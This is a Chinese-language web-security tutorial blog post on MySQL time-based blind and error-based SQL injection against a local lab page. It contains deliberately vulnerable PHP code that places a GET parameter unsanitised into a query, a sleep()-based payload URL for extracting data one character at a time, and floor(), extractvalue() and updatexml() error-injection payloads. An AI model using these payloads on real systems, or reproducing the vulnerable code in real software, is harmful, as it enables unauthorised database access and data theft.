【21】WEB安全学习----MySQL注入-6(时间及报错盲注)

目录

 

基于时间的盲注例子:

注入步骤:

确认注入点

猜解数据

报错注入例子:

注入方法

1.floor()

2.extractvalue()

3.updatexml()


基于时间的盲注例子:

修改代码,无论传入的参数值是否存在或者是SQL语句运行错误都统一输出hello mysql,因为返回的状态只有一种,无法通过布尔真假进行判断,此时可以用时间延迟进行判断,如果运行了时间延迟函数,那么网页会暂停一段时间在返回,此时可以通过网页返回的时间长短进行判断。

<?php
    header('content-type:text/html;charset=utf-8');
    @$id=$_GET['id'];  //传参
    if(!isset($id)){
        die('请传入GET方法id参数值');
    }
    $mysqli=new mysqli();
    $mysqli->connect('localhost','root','root');
    if($mysqli->connect_errno){
        die('连接数据库失败:'.$mysqli->connect_error);
    }
    $mysqli->select_db('user');
    if($mysqli->errno){
        die('打开数据库失败:'.$mysqli->error);
    }
    $mysqli->set_charset('utf8');
    $sql="SELECT username,passwd FROM users WHERE id={$id} limit 0,1"; 
    $result=$mysqli->query($sql);
    if(!$result){
        //die('执行SQL语句失败:'.$mysqli->error);
        echo 'hello mysql';
    }else if($result->num_rows==0){
        //echo '抱歉!不存在此记录';
        echo 'hello mysql';
    }else {
        //echo '存在此记录';
        echo 'hello mysql';
    }

注入步骤:

确认注入点

因为返回的信息都一样,不能通过运算符进行判断,插入sleep()函数,判断是否被执行。

网页确实超过5秒后才返回

猜解数据

接下来的猜解数据和布尔型盲注一样,只是条件判断变化了一下,不再是返回真假,而是运行sleep()函数,通过网页返回的时间进行判断,此注入需要耗费大量时间。

http://localhost/index.php?id=1 and if(ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1))>97,sleep(5),0)%23  网页超过5秒后返回,说明第一个字符ascii码大于97

可以用二分搜索法、正则表达式法、按位比较法进行猜解数据。

报错注入例子:

如果网页输出了数据库错误信息,那么此时可以使用报错注入,不需要进行盲注逐字查询了。

此代码只会显示数据库错误信息,ID值是否存在都返回一种状态,此时除了时间盲注,还可以进行报错注入。

<?php
    header('content-type:text/html;charset=utf-8');
    @$id=$_GET['id'];  //传参
    if(!isset($id)){
        die('请传入GET方法id参数值');
    }
    $mysqli=new mysqli();
    $mysqli->connect('localhost','root','root');
    if($mysqli->connect_errno){
        die('连接数据库失败:'.$mysqli->connect_error);
    }
    $mysqli->select_db('user');
    if($mysqli->errno){
        die('打开数据库失败:'.$mysqli->error);
    }
    $mysqli->set_charset('utf8');
    $sql="SELECT username,passwd FROM users WHERE id={$id}";
    $result=$mysqli->query($sql);
    if(!$result){
        die('执行SQL语句失败:'.$mysqli->error); 
    }else if($result->num_rows==0){
        echo 'hello word';
    }else {
        echo 'hello word';
    }

注入方法

可使用网上已存在报错函数的方法,直接套用即可。

1.floor()

select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2));

2.extractvalue()

select * from users where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3.updatexml()

select * from users where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

猜你喜欢

转载自blog.csdn.net/a15803617402/article/details/82786850